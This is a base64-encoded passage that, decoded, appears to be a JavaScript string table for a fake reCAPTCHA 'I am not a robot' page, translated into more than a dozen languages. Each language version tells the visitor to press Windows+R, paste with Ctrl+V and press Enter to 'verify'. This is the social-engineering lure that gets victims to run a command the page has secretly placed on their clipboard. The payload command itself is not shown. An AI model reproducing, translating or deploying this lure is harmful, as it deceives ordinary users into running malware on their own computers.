JvYXJkIHRvIGZpbmlzaC4iLG9ic2VydmU6IllvdSB3aWxsIG9ic2VydmUgYW5kIGFncmVlOiIsY29uZmlybUxlYWQ6IkkgYW0gbm90IGEgcm9ib3QgLSByZUNBUFRDSEEgVmVyaWZpY2F0aW9uIElEOiAiLGZpbmFsOiJQZXJmb3JtIHRoZSBzdGVwcyBhYm92ZSB0byBmaW5pc2ggdmVyaWZpY2F0aW9uLiIsdmVyaWZ5QnRuOiJWZXJpZnkiLGNvbmZpZGVudGlhbGl0eToiQ29uZmlkZW50aWFsaXR5Iix0ZXJtczoiVGVybXMgYW5kIENvbmRpdGlvbnMiLGZvb3RlcjoibmVlZHMgdG8gcmV2aWV3IHRoZSBzZWN1cml0eSBvZiB5b3VyIGNvbm5lY3Rpb24gYmVmb3JlIHByb2NlZWRpbmcuIn0sCgogICAgZGU6e2NoZWNraW5nOiLDnGJlcnByw7xmdW5nLCBvYiBTaWUgZWluIE1lbnNjaCBzaW5kLiBEaWVzIGthbm4gZWluaWdlIFNla3VuZGVuIGRhdWVybi4iLHZlcmlmeUluc3RydWN0aW9uOiJCZXN0w6R0aWdlbiBTaWUsIGRhc3MgU2llIGVpbiBNZW5zY2ggc2luZCwgaW5kZW0gU2llIGRpZSBmb2xnZW5kZSBBa3Rpb24gYXVzZsO8aHJlbi4iLHZlcmlmeWluZzoiV2lyZCDDvGJlcnByw7xmdC4uLiIsbm90Um9ib3Q6IkljaCBiaW4ga2VpbiBSb2JvdGVyIixzdGVwczoiw5xiZXJwcsO8ZnVuZyIsc3VjY2VzczoiRXJmb2xncmVpY2guIix2ZXJpZnlUaXRsZToiVW0gbmFjaHdlaXNlbiB6dSBrw7ZubmVuLCBkYXNzIFNpZSBrZWluIFJvYm90ZXIgc2luZDoiLHN0ZXAxOiJIYWx0ZW4gU2llIGRpZSBXaW5kb3dzLVRhc3RlIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+IGdlZHLDvGNrdC4iLHN0ZXAyOiJEcsO8Y2tlbiBTaWUgaW0gVmVyaWZpemllcnVuZ3NmZW5zdGVyIDxiPlN0cmc8L2I+ICsgPGI+VjwvYj4uIixzdGVwMzoiRHLDvGNrZW4gU2llIGRpZSA8Yj5FaW5nYWJldGFzdGU8L2I+LCB1bSBhYnp1c2NobGllw59lbi4iLG9ic2VydmU6Ildlbm4gU2llIGZvcnRmYWhyZW4sIGJlc3TDpHRpZ2VuIFNpZToiLGNvbmZpcm1MZWFkOiJJY2ggYmluIGtlaW4gUm9ib3RlciDigJMgcmVDQVBUQ0hBIFZlcmlmaXppZXJ1bmdzLUlEOiAiLGZpbmFsOiJGw7xocmVuIFNpZSBkaWUgb2JpZ2VuIFNjaHJpdHRlIGF1cywgdW0gZGllIMOcYmVycHLDvGZ1bmcgYWJ6dXNjaGxpZcOfZW4uIix2ZXJpZnlCdG46IsOcYmVycHLDvGZlbiIsY29uZmlkZW50aWFsaXR5OiJWZXJ0cmF1bGljaGtlaXQiLHRlcm1zOiJOdXR6dW5nc2JlZGluZ3VuZ2VuIixmb290ZXI6Im11c3MgZGllIFNpY2hlcmhlaXQgSWhyZXIgVmVyYmluZHVuZyBwcsO8ZmVuLCBiZXZvciBTaWUgZm9ydGZhaHJlbi4ifSwKCiAgICBmcjp7Y2hlY2tpbmc6IlbDqXJpZmljYXRpb24gcXVlIHZvdXMgw6p0ZXMgaHVtYWluLiBDZWxhIHBldXQgcHJlbmRyZSBxdWVscXVlcyBzZWNvbmRlcy4iLHZlcmlmeUluc3RydWN0aW9uOiJWw6lyaWZpZXogcXVlIHZvdXMgw6p0ZXMgaHVtYWluIGVuIGNvbXBsw6l0YW50IGzigJlhY3Rpb24gY2ktZGVzc291cy4iLHZlcmlmeWluZzoiVsOpcmlmaWNhdGlvbuKApiIsbm90Um9ib3Q6IkplIG5lIHN1aXMgcGFzIHVuIHJvYm90IixzdGVwczoiVsOpcmlmaWNhdGlvbiIsc3VjY2VzczoiUsOpdXNzaS4iLHZlcmlmeVRpdGxlOiJQb3VyIHByb3V2ZXIgcXVlIHZvdXMgbuKAmcOqdGVzIHBhcyB1biByb2JvdCA6IixzdGVwMToiTWFpbnRlbmV6IGxhIHRvdWNoZSBXaW5kb3dzIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+LiIsc3RlcDI6IkRhbnMgbGEgZmVuw6p0cmUgZGUgdsOpcmlmaWNhdGlvbiwgYXBwdXlleiBzdXIgPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi4iLHN0ZXAzOiJBcHB1eWV6IHN1ciBsYSB0b3VjaGUgPGI+RW50csOpZTwvYj4gcG91ciB0ZXJtaW5lci4iLG9ic2VydmU6IkVuIGNvbnRpbnVhbnQsIHZvdXMgY29uZmlybWV6IDoiLGNvbmZpcm1MZWFkOiJKZSBuZSBzdWlzIHBhcyB1biByb2JvdCDigJMgSUQgZGUgdsOpcmlmaWNhdGlvbiByZUNBUFRDSEEgOiAiLGZpbmFsOiJFZmZlY3R1ZXogbGVzIMOpdGFwZXMgY2ktZGVzc3VzIHBvdXIgdGVybWluZXIgbGEgdsOpcmlmaWNhdGlvbi4iLHZlcmlmeUJ0bjoiVsOpcmlmaWVyIixjb25maWRlbnRpYWxpdHk6IkNvbmZpZGVudGlhbGl0w6kiLHRlcm1zOiJDb25kaXRpb25zIGfDqW7DqXJhbGVzIixmb290ZXI6ImRvaXQgdsOpcmlmaWVyIGxhIHPDqWN1cml0w6kgZGUgdm90cmUgY29ubmV4aW9uIGF2YW50IGRlIGNvbnRpbnVlci4ifSwKCiAgICBpdDp7Y2hlY2tpbmc6IlZlcmlmaWNhIGNoZSB0dSBzaWEgdW1hbm8uIFBvdHJlYmJlIHZvbGVyY2kgcXVhbGNoZSBzZWNvbmRvLiIsdmVyaWZ5SW5zdHJ1Y3Rpb246IlZlcmlmaWNhIGRpIGVzc2VyZSB1bWFubyBjb21wbGV0YW5kbyBsJ2F6aW9uZSBzZWd1ZW50ZS4iLHZlcmlmeWluZzoiVmVyaWZpY2EgaW4gY29yc2/igKYiLG5vdFJvYm90OiJOb24gc29ubyB1biByb2JvdCIsc3RlcHM6IlZlcmlmaWNhIixzdWNjZXNzOiJDb21wbGV0YXRvLiIsdmVyaWZ5VGl0bGU6IlBlciBkaW1vc3RyYXJlIGNoZSBub24gc2VpIHVuIHJvYm90OiIsc3RlcDE6IlRpZW5pIHByZW11dG8gaWwgdGFzdG8gV2luZG93cyA8aSBjbGFzcz0nZmFiIGZhLXdpbmRvd3MnPjwvaT4gKyA8Yj5SPC9iPi4iLHN0ZXAyOiJOZWxsYSBmaW5lc3RyYSBkaSB2ZXJpZmljYSBwcmVtaSA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+LiIsc3RlcDM6IlByZW1pIDxiPkludmlvPC9iPiBwZXIgY29tcGxldGFyZS4iLG9ic2VydmU6IlByb3NlZ3VlbmRvLCBjb25mZXJtaToiLGNvbmZpcm1MZWFkOiJOb24gc29ubyB1biByb2JvdCDigJMgSUQgZGkgdmVyaWZpY2EgcmVDQVBUQ0hBOiAiLGZpbmFsOiJFc2VndWkgaSBwYXNzYWdnaSBzb3ByYSBwZXIgdGVybWluYXJlIGxhIHZlcmlmaWNhLiIsdmVyaWZ5QnRuOiJWZXJpZmljYSIsY29uZmlkZW50aWFsaXR5OiJSaXNlcnZhdGV6emEiLHRlcm1zOiJUZXJtaW5pIGUgY29uZGl6aW9uaSIsZm9vdGVyOiJkZXZlIHZlcmlmaWNhcmUgbGEgc2ljdXJlenphIGRlbGxhIGNvbm5lc3Npb25lIHByaW1hIGRpIHByb2NlZGVyZS4ifSwKCiAgICBhcjp7Y2hlY2tpbmc6Itis2KfYsdmKINin2YTYqtit2YLZgiDZhdmGINij2YbZgyDYpdmG2LPYp9mGLiDZgtivINmK2LPYqti62LHZgiDZh9iw2Kcg2KjYtti5INir2YjYp9mG2Y0uIix2ZXJpZnlJbnN0cnVjdGlvbjoi2KrYrdmC2YIg2YXZhiDYo9mG2YMg2KXZhtiz2KfZhiDYqNil2YPZhdin2YQg2KfZhNiu2LfZiNipINij2K/Zhtin2YcuIix2ZXJpZnlpbmc6Itis2KfYsdmNINin2YTYqtit2YLZguKApiIsbm90Um9ib3Q6ItmE2LPYqiDYqNix2YbYp9mF2Kwg2LHZiNio2YjYqiIsc3RlcHM6Itin2YTYqtit2YLZgiIsc3VjY2Vzczoi2KrZhSDYqNmG2KzYp9itLiIsdmVyaWZ5VGl0bGU6ItmE2KXYq9io2KfYqiDYo9mG2YMg2YTYs9iqINix2YjYqNmI2KrZi9inOiIsc3RlcDE6Itin2LbYuti3INmF2Lkg2KfZhNin2LPYqtmF2LHYp9ixINi52YTZiSDZhdmB2KrYp9itIFdpbmRvd3MgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4uIixzdGVwMjoi2YHZiiDZhtin2YHYsNipINin2YTYqtit2YLZgiDYp9i22LrYtyA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+LiIsc3RlcDM6Itin2LbYuti3IDxiPkVudGVyPC9iPiDZhNmE2KXZhtmH2KfYoS4iLG9ic2VydmU6Itio2KfZhNmF2KrYp9io2LnYqdiMINmB2KXZhtmDINiq2KTZg9ivOiIsY29uZmlybUxlYWQ6Itij2YbYpyDZhNiz2Kog2LHZiNio2YjYqtmL2Kcg4oCTINmF2LnYsdmR2YEg2KrYrdmC2YIgcmVDQVBUQ0hBOiAiLGZpbmFsOiLYo9mD2YXZhCDYp9mE2K7Yt9mI2KfYqiDYo9i52YTYp9mHINmE2KXZhtmH2KfYoSDYp9mE2KrYrdmC2YIuIix2ZXJpZnlCdG46Itiq2K3ZgtmCIixjb25maWRlbnRpYWxpdHk6Itin2YTYs9ix2YrYqSIsdGVybXM6Itin2YTYtNix2YjYtyDZiNin2YTYo9it2YPYp9mFIixmb290ZXI6ItmK2KzYqCDZhdix2KfYrNi52Kkg2KPZhdin2YYg2KfZhNin2KrYtdin2YQg2YLYqNmEINin2YTZhdiq2KfYqNi52KkuIn0sCgogICAgemg6e2NoZWNraW5nOiLmraPlnKjmo4Dmn6XmgqjmmK/lkKbkuLrkurrnsbvjgILov5nlj6/og73pnIDopoHlh6Dnp5Lpkp/jgIIiLHZlcmlmeUluc3RydWN0aW9uOiLpgJrov4flrozmiJDku6XkuIvmk43kvZzpqozor4HmgqjmmK/kurrnsbvjgIIiLHZlcmlmeWluZzoi5q2j5Zyo6aqM6K+B4oCmIixub3RSb2JvdDoi5oiR5LiN5piv5py65Zmo5Lq6IixzdGVwczoi6aqM6K+BIixzdWNjZXNzOiLmiJDlip/jgIIiLHZlcmlmeVRpdGxlOiLkuLror4HmmI7mgqjkuI3mmK/mnLrlmajkurrvvJoiLHN0ZXAxOiLmjInkvY8gV2luZG93cyDplK4gPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj7jgIIiLHN0ZXAyOiLlnKjpqozor4Hnqpflj6PkuK3mjIkgPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPuOAgiIsc3RlcDM6IuaMiSA8Yj5FbnRlcjwvYj4g5a6M5oiQ44CCIixvYnNlcnZlOiLnu6fnu63mk43kvZzljbPooajnpLrmgqjnoa7orqTvvJoiLGNvbmZpcm1MZWFkOiLmiJHkuI3mmK/mnLrlmajkurog4oCUIHJlQ0FQVENIQSDpqozor4EgSUTvvJoiLGZpbmFsOiLor7flrozmiJDku6XkuIrmraXpqqTku6XlrozmiJDpqozor4HjgIIiLHZlcmlmeUJ0bjoi6aqM6K+BIixjb25maWRlbnRpYWxpdHk6IuS/neWvhiIsdGVybXM6IuadoeasvuWSjOadoeS7tiIsZm9vdGVyOiLpnIDopoHlnKjnu6fnu63kuYvliY3mo4Dmn6Xmgqjov57mjqXnmoTlronlhajmgKfjgIIifSwKCiAgICBqYTp7Y2hlY2tpbmc6IuOBguOBquOBn+OBjOS6uumWk+OBi+OBqeOBhuOBi+eiuuiqjeOBl+OBpuOBhOOBvuOBmeOAguaVsOenkuOBi+OBi+OCi+WgtOWQiOOBjOOBguOCiuOBvuOBmeOAgiIsdmVyaWZ5SW5zdHJ1Y3Rpb246IuS7peS4i+OBruaTjeS9nOOCkuWujOS6huOBl+OBpuOAgeS6uumWk+OBp+OBguOCi+OBk+OBqOOCkueiuuiqjeOBl+OBpuOBj+OBoOOBleOBhOOAgiIsdmVyaWZ5aW5nOiLnorroqo3kuK3igKYiLG5vdFJvYm90OiLnp4Hjga/jg63jg5zjg4Pjg4jjgafjga/jgYLjgorjgb7jgZvjgpMiLHN0ZXBzOiLnorroqo0iLHN1Y2Nlc3M6IuaIkOWKn+OBl+OBvuOBl+OBn+OAgiIsdmVyaWZ5VGl0bGU6IuODreODnOODg+ODiOOBp+OBr+OBquOBhOOBk+OBqOOCkuiovOaYjuOBmeOCi+OBn+OCgeOBq++8miIsc3RlcDE6IldpbmRvd3Pjgq3jg7wgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4g44KS5oq844GX57aa44GR44Gm44GP44Gg44GV44GE44CCIixzdGVwMjoi5qSc6Ki844Km44Kj44Oz44OJ44Km44GnIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj4g44KS5oq844GX44Gm44GP44Gg44GV44GE44CCIixzdGVwMzoiPGI+RW50ZXI8L2I+IOOCkuaKvOOBl+OBpuWujOS6huOBl+OBvuOBmeOAgiIsb2JzZXJ2ZToi57aa6KGM44GZ44KL44Go44CB5qyh44KS56K66KqN44GX44G+44GZ77yaIixjb25maXJtTGVhZDoi56eB44Gv44Ot44Oc44OD44OI44Gn44Gv44GC44KK44G+44Gb44KTIOKAlCByZUNBUFRDSEEg5qSc6Ki8IElEOiAiLGZpbmFsOiLkuIroqJjjga7miYvpoIbjgpLlrp/ooYzjgZfjgabmpJzoqLzjgpLlrozkuobjgZfjgabjgY/jgaDjgZXjgYTjgIIiLHZlcmlmeUJ0bjoi56K66KqN44GZ44KLIixjb25maWRlbnRpYWxpdHk6Iuapn+WvhuS/neaMgSIsdGVybXM6IuWIqeeUqOimj+e0hCIsZm9vdGVyOiLntprooYzjgZnjgovliY3jgavmjqXntprjga7jgrvjgq3jg6Xjg6rjg4bjgqPjgpLnorroqo3jgZnjgovlv4XopoHjgYzjgYLjgorjgb7jgZnjgIIifSwKCiAgICBydTp7Y2hlY2tpbmc6ItCf0YDQvtCy0LXRgNGP0LXQvCwg0YfRgtC+INCy0Ysg0YfQtdC70L7QstC10LouINCt0YLQviDQvNC+0LbQtdGCINC30LDQvdGP0YLRjCDQvdC10YHQutC+0LvRjNC60L4g0YHQtdC60YPQvdC0LiIsdmVyaWZ5SW5zdHJ1Y3Rpb246ItCf0L7QtNGC0LLQtdGA0LTQuNGC0LUsINGH0YLQviDQstGLINGH0LXQu9C+0LLQtdC6LCDQstGL0L/QvtC70L3QuNCyINC00LXQudGB0YLQstC40LUg0L3QuNC20LUuIix2ZXJpZnlpbmc6ItCf0YDQvtCy0LXRgNC60LDigKYiLG5vdFJvYm90OiLQryDQvdC1INGA0L7QsdC+0YIiLHN0ZXBzOiLQn9GA0L7QstC10YDQutCwIixzdWNjZXNzOiLQo9GB0L/QtdGI0L3Qvi4iLHZlcmlmeVRpdGxlOiLQp9GC0L7QsdGLINC00L7QutCw0LfQsNGC0YwsINGH0YLQviDQstGLINC90LUg0YDQvtCx0L7RgjoiLHN0ZXAxOiLQo9C00LXRgNC20LjQstCw0LnRgtC1INC60LvQsNCy0LjRiNGDIFdpbmRvd3MgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4uIixzdGVwMjoi0JIg0L7QutC90LUg0L/RgNC+0LLQtdGA0LrQuCDQvdCw0LbQvNC40YLQtSA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+LiIsc3RlcDM6ItCd0LDQttC80LjRgtC1IDxiPkVudGVyPC9iPiDQtNC70Y8g0LfQsNCy0LXRgNGI0LXQvdC40Y8uIixvYnNlcnZlOiLQn9GA0L7QtNC+0LvQttCw0Y8sINCy0Ysg0L/QvtC00YLQstC10YDQttC00LDQtdGC0LU6Iixjb25maXJtTGVhZDoi0K8g0L3QtSDRgNC+0LHQvtGCIOKAlCBJRCDQv9GA0L7QstC10YDQutC4IHJlQ0FQVENIQTogIixmaW5hbDoi0JLRi9C/0L7Qu9C90LjRgtC1INGI0LDQs9C4INCy0YvRiNC1LCDRh9GC0L7QsdGLINC30LDQstC10YDRiNC40YLRjCDQv9GA0L7QstC10YDQutGDLiIsdmVyaWZ5QnRuOiLQn9GA0L7QstC10YDQuNGC0YwiLGNvbmZpZGVudGlhbGl0eToi0JrQvtC90YTQuNC00LXQvdGG0LjQsNC70YzQvdC+0YHRgtGMIix0ZXJtczoi0KPRgdC70L7QstC40Y8g0LjRgdC/0L7Qu9GM0LfQvtCy0LDQvdC40Y8iLGZvb3Rlcjoi0LTQvtC70LbQtdC9INC/0YDQvtCy0LXRgNC40YLRjCDQsdC10LfQvtC/0LDRgdC90L7RgdGC0Ywg0LLQsNGI0LXQs9C+INGB0L7QtdC00LjQvdC10L3QuNGPINC/0LXRgNC10LQg0L/RgNC+0LTQvtC70LbQtdC90LjQtdC8LiJ9LAoKICAgIGVzOntjaGVja2luZzoiQ29tcHJvYmFuZG8gc2kgZXJlcyBodW1hbm8uIEVzdG8gcHVlZGUgdGFyZGFyIHVub3Mgc2VndW5kb3MuIix2ZXJpZnlJbnN0cnVjdGlvbjoiVmVyaWZpY2EgcXVlIGVyZXMgaHVtYW5vIGNvbXBsZXRhbmRvIGxhIGFjY2nDs24gc2lndWllbnRlLiIsdmVyaWZ5aW5nOiJWZXJpZmljYW5kb+KApiIsbm90Um9ib3Q6Ik5vIHNveSB1biByb2JvdCIsc3RlcHM6IlZlcmlmaWNhY2nDs24iLHN1Y2Nlc3M6IkNvcnJlY3RvLiIsdmVyaWZ5VGl0bGU6IlBhcmEgZGVtb3N0cmFyIHF1ZSBubyBlcmVzIHVuIHJvYm90OiIsc3RlcDE6Ik1hbnTDqW4gcHVsc2FkYSBsYSB0ZWNsYSBXaW5kb3dzIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+LiIsc3RlcDI6IkVuIGxhIHZlbnRhbmEgZGUgdmVyaWZpY2FjacOzbiwgcHVsc2EgPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi4iLHN0ZXAzOiJQdWxzYSA8Yj5FbnRlcjwvYj4gcGFyYSBmaW5hbGl6YXIuIixvYnNlcnZlOiJBbCBjb250aW51YXIsIGNvbmZpcm1hczoiLGNvbmZpcm1MZWFkOiJObyBzb3kgdW4gcm9ib3Qg4oCUIElEIGRlIHZlcmlmaWNhY2nDs24gcmVDQVBUQ0hBOiAiLGZpbmFsOiJSZWFsaXphIGxvcyBwYXNvcyBhbnRlcmlvcmVzIHBhcmEgZmluYWxpemFyIGxhIHZlcmlmaWNhY2nDs24uIix2ZXJpZnlCdG46IlZlcmlmaWNhciIsY29uZmlkZW50aWFsaXR5OiJDb25maWRlbmNpYWxpZGFkIix0ZXJtczoiVMOpcm1pbm9zIHkgY29uZGljaW9uZXMiLGZvb3RlcjoiZGViZSByZXZpc2FyIGxhIHNlZ3VyaWRhZCBkZSB0dSBjb25leGnDs24gYW50ZXMgZGUgY29udGludWFyLiJ9LAoKICAgIHB0OntjaGVja2luZzoiVmVyaWZpY2FuZG8gc2Ugdm9jw6ogw6kgaHVtYW5vLiBJc3NvIHBvZGUgbGV2YXIgYWxndW5zIHNlZ3VuZG9zLiIsdmVyaWZ5SW5zdHJ1Y3Rpb246IkNvbmZpcm1lIHF1ZSB2b2PDqiDDqSBodW1hbm8gY29uY2x1aW5kbyBhIGHDp8OjbyBhYmFpeG8uIix2ZXJpZnlpbmc6IlZlcmlmaWNhbmRv4oCmIixub3RSb2JvdDoiTsOjbyBzb3UgdW0gcm9iw7QiLHN0ZXBzOiJWZXJpZmljYcOnw6NvIixzdWNjZXNzOiJDb25jbHXDrWRvLiIsdmVyaWZ5VGl0bGU6IlBhcmEgcHJvdmFyIHF1ZSB2b2PDqiBuw6NvIMOpIHVtIHJvYsO0OiIsc3RlcDE6Ik1hbnRlbmhhIHByZXNzaW9uYWRhIGEgdGVjbGEgV2luZG93cyA8aSBjbGFzcz0nZmFiIGZhLXdpbmRvd3MnPjwvaT4gKyA8Yj5SPC9iPi4iLHN0ZXAyOiJOYSBqYW5lbGEgZGUgdmVyaWZpY2HDp8OjbywgcHJlc3Npb25lIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj4uIixzdGVwMzoiUHJlc3Npb25lIDxiPkVudGVyPC9iPiBwYXJhIGNvbmNsdWlyLiIsb2JzZXJ2ZToiQW8gY29udGludWFyLCB2b2PDqiBjb25maXJtYToiLGNvbmZpcm1MZWFkOiJOw6NvIHNvdSB1bSByb2LDtCDigJQgSUQgZGUgdmVyaWZpY2HDp8OjbyByZUNBUFRDSEE6ICIsZmluYWw6IkNvbmNsdWEgYXMgZXRhcGFzIGFjaW1hIHBhcmEgZmluYWxpemFyIGEgdmVyaWZpY2HDp8Ojby4iLHZlcmlmeUJ0bjoiVmVyaWZpY2FyIixjb25maWRlbnRpYWxpdHk6IkNvbmZpZGVuY2lhbGlkYWRlIix0ZXJtczoiVGVybW9zIGUgY29uZGnDp8O1ZXMiLGZvb3RlcjoicHJlY2lzYSByZXZpc2FyIGEgc2VndXJhbsOnYSBkYSBzdWEgY29uZXjDo28gYW50ZXMgZGUgcHJvc3NlZ3Vpci4ifSwKCiAgICBubDp7Y2hlY2tpbmc6IkNvbnRyb2xlcmVuIG9mIHUgZWVuIG1lbnMgYmVudC4gRGl0IGthbiBlbmtlbGUgc2Vjb25kZW4gZHVyZW4uIix2ZXJpZnlJbnN0cnVjdGlvbjoiQmV2ZXN0aWcgZGF0IHUgZWVuIG1lbnMgYmVudCBkb29yIGRlIG9uZGVyc3RhYW5kZSBhY3RpZSB1aXQgdGUgdm9lcmVuLiIsdmVyaWZ5aW5nOiJCZXppZyBtZXQgY29udHJvbGVyZW7igKYiLG5vdFJvYm90OiJJayBiZW4gZ2VlbiByb2JvdCIsc3RlcHM6IlZlcmlmaWNhdGllIixzdWNjZXNzOiJHZWx1a3QuIix2ZXJpZnlUaXRsZToiT20gYWFuIHRlIHRvbmVuIGRhdCB1IGdlZW4gcm9ib3QgYmVudDoiLHN0ZXAxOiJIb3VkIGRlIFdpbmRvd3MtdG9ldHMgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4gaW5nZWRydWt0LiIsc3RlcDI6IkRydWsgaW4gaGV0IHZlcmlmaWNhdGlldmVuc3RlciBvcCA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+LiIsc3RlcDM6IkRydWsgb3AgPGI+RW50ZXI8L2I+IG9tIGFmIHRlIHJvbmRlbi4iLG9ic2VydmU6IkFscyB1IGRvb3JnYWF0LCBiZXZlc3RpZ3QgdToiLGNvbmZpcm1MZWFkOiJJayBiZW4gZ2VlbiByb2JvdCDigJQgcmVDQVBUQ0hBLXZlcmlmaWNhdGllLUlEOiAiLGZpbmFsOiJWb2VyIGRlIGJvdmVuc3RhYW5kZSBzdGFwcGVuIHVpdCBvbSBkZSB2ZXJpZmljYXRpZSB0ZSB2b2x0b29pZW4uIix2ZXJpZnlCdG46IlZlcmlmacOrcmVuIixjb25maWRlbnRpYWxpdHk6IlZlcnRyb3V3ZWxpamtoZWlkIix0ZXJtczoiVm9vcndhYXJkZW4iLGZvb3RlcjoibW9ldCBkZSB2ZWlsaWdoZWlkIHZhbiB1dyB2ZXJiaW5kaW5nIGNvbnRyb2xlcmVuIHZvb3JkYXQgdSB2ZXJkZXJnYWF0LiJ9LAoKICAgIHRyOntjaGVja2luZzoixLBuc2FuIG9sdXAgb2xtYWTEscSfxLFuxLF6IGtvbnRyb2wgZWRpbGl5b3IuIEJ1IGJpcmthw6cgc2FuaXllIHPDvHJlYmlsaXIuIix2ZXJpZnlJbnN0cnVjdGlvbjoiQcWfYcSfxLFkYWtpIGnFn2xlbWkgdGFtYW1sYXlhcmFrIGluc2FuIG9sZHXEn3VudXp1IGRvxJ9ydWxhecSxbi4iLHZlcmlmeWluZzoiRG/En3J1bGFuxLF5b3LigKYiLG5vdFJvYm90OiJCZW4gcm9ib3QgZGXEn2lsaW0iLHN0ZXBzOiJEb8SfcnVsYW1hIixzdWNjZXNzOiJCYcWfYXLEsWzEsS4iLHZlcmlmeVRpdGxlOiJSb2JvdCBvbG1hZMSxxJ/EsW7EsXrEsSBrYW7EsXRsYW1hayBpw6dpbjoiLHN0ZXAxOiJXaW5kb3dzIHR1xZ91bnUgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4gaWxlIGJhc8SxbMSxIHR1dHVuLiIsc3RlcDI6IkRvxJ9ydWxhbWEgcGVuY2VyZXNpbmRlIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj4gdHXFn2xhcsSxbmEgYmFzxLFuLiIsc3RlcDM6IkJpdGlybWVrIGnDp2luIDxiPkVudGVyPC9iPuKAmWEgYmFzxLFuLiIsb2JzZXJ2ZToiRGV2YW0gZWRlcmVrIMWfdW5sYXLEsSBvbmF5bGFyc8SxbsSxejoiLGNvbmZpcm1MZWFkOiJSb2JvdCBkZcSfaWxpbSDigJQgcmVDQVBUQ0hBIERvxJ9ydWxhbWEgS2ltbGnEn2k6ICIsZmluYWw6IkRvxJ9ydWxhbWF5xLEgdGFtYW1sYW1hayBpw6dpbiB5dWthcsSxZGFraSBhZMSxbWxhcsSxIHV5Z3VsYXnEsW4uIix2ZXJpZnlCdG46IkRvxJ9ydWxhIixjb25maWRlbnRpYWxpdHk6IkdpemxpbGlrIix0ZXJtczoixZ5hcnRsYXIgdmUgS2/Fn3VsbGFyIixmb290ZXI6ImRldmFtIGV0bWVkZW4gw7ZuY2UgYmHEn2xhbnTEsW7EsXrEsW4gZ8O8dmVubGnEn2luaSBrb250cm9sIGV0bWVsaWRpci4ifSwKCiAgICBrbzp7Y2hlY2tpbmc6IuyCrOyaqeyekOqwgCDsgqzrnozsnbjsp4Ag7ZmV7J247ZWY64qUIOykkeyeheuLiOuLpC4g7J6g7Iuc66eMIOq4sOuLpOugpCDso7zshLjsmpQuIix2ZXJpZnlJbnN0cnVjdGlvbjoi7JWE656YIOyekeyXheydhCDsmYTro4ztlZjsl6wg7IKs656M7J20IOunnuuKlOyngCDtmZXsnbjtlZjshLjsmpQuIix2ZXJpZnlpbmc6Iu2ZleyduCDspJHigKYiLG5vdFJvYm90OiLrgpjripQg66Gc67SH7J20IOyVhOuLmeuLiOuLpCIsc3RlcHM6IuqygOymnSIsc3VjY2Vzczoi7ISx6rO1LiIsdmVyaWZ5VGl0bGU6IuuhnOu0h+ydtCDslYTri5jsnYQg7Kad66qF7ZWY66Ck66m0OiIsc3RlcDE6IldpbmRvd3Mg7YKkIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+7J2EIOuIhOultOyEuOyalC4iLHN0ZXAyOiLqsoDspp0g7LC97JeQ7IScIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj7rpbwg64iE66W07IS47JqULiIsc3RlcDM6IuuniOy5mOugpOuptCA8Yj5FbnRlcjwvYj7rpbwg64iE66W07IS47JqULiIsb2JzZXJ2ZToi6rOE7IaN7ZWY66m0IOuLpOydjOydhCDtmZXsnbjtlanri4jri6Q6Iixjb25maXJtTGVhZDoi66Gc67SH7J20IOyVhOuLmeuLiOuLpCDigJQgcmVDQVBUQ0hBIO2ZleyduCBJRDogIixmaW5hbDoi7JyEIOuLqOqzhOuTpOydhCDsmYTro4ztlZjsl6wg6rKA7Kad7J2EIOuniOy5mOyEuOyalC4iLHZlcmlmeUJ0bjoi7ZmV7J24Iixjb25maWRlbnRpYWxpdHk6Iuq4sOuwgCIsdGVybXM6IuydtOyaqeyVveq0gCIsZm9vdGVyOiLqs4Tsho3tlZjquLAg7KCE7JeQIOyXsOqysOydmCDrs7TslYjsnYQg7ZmV7J247ZW07JW8IO2VqeuLiOuLpC4ifSwKCiAgICAvKiAtLS0tLS0tLS0gTkVXOiA2IGxhbmd1YWdlcyAoZml4ZWQgLyBoYXJkLWNvZGVkIHRyYW5zbGF0aW9ucykgLS0tLS0tLS0tICovCgogICAgaGk6e2NoZWNraW5nOiLgpLjgpKTgpY3gpK/gpL7gpKrgpL/gpKQg4KSV4KS/4KSv4KS+IOCknOCkviDgpLDgpLngpL4g4KS54KWIIOCkleCkvyDgpIbgpKog4KSu4KS+4KSo4KS1IOCkueCliOCkguClpCDgpIfgpLjgpK7gpYfgpIIg4KSV4KWB4KSbIOCkuOClh+CkleCkguCkoSDgpLLgpJcg4KS44KSV4KSk4KWHIOCkueCliOCkguClpCIsdmVyaWZ5SW5zdHJ1Y3Rpb246IuCkqOClgOCkmuClhyDgpKbgpL/gpK/gpL4g4KSX4KSv4KS+IOCkleCkvuCksOCljeCkryDgpKrgpYLgpLDgpL4g4KSV4KSw4KSV4KWHIOCkquCljeCksOCkruCkvuCko+Ckv+CkpCDgpJXgpLDgpYfgpIIg4KSV4KS/IOCkhuCkqiDgpI/gpJUg4KSu4KS+4KSo4KS1IOCkueCliOCkguClpCIsdmVyaWZ5aW5nOiLgpLjgpKTgpY3gpK/gpL7gpKrgpL/gpKQg4KSV4KSwIOCksOCkueClhyDgpLngpYjgpI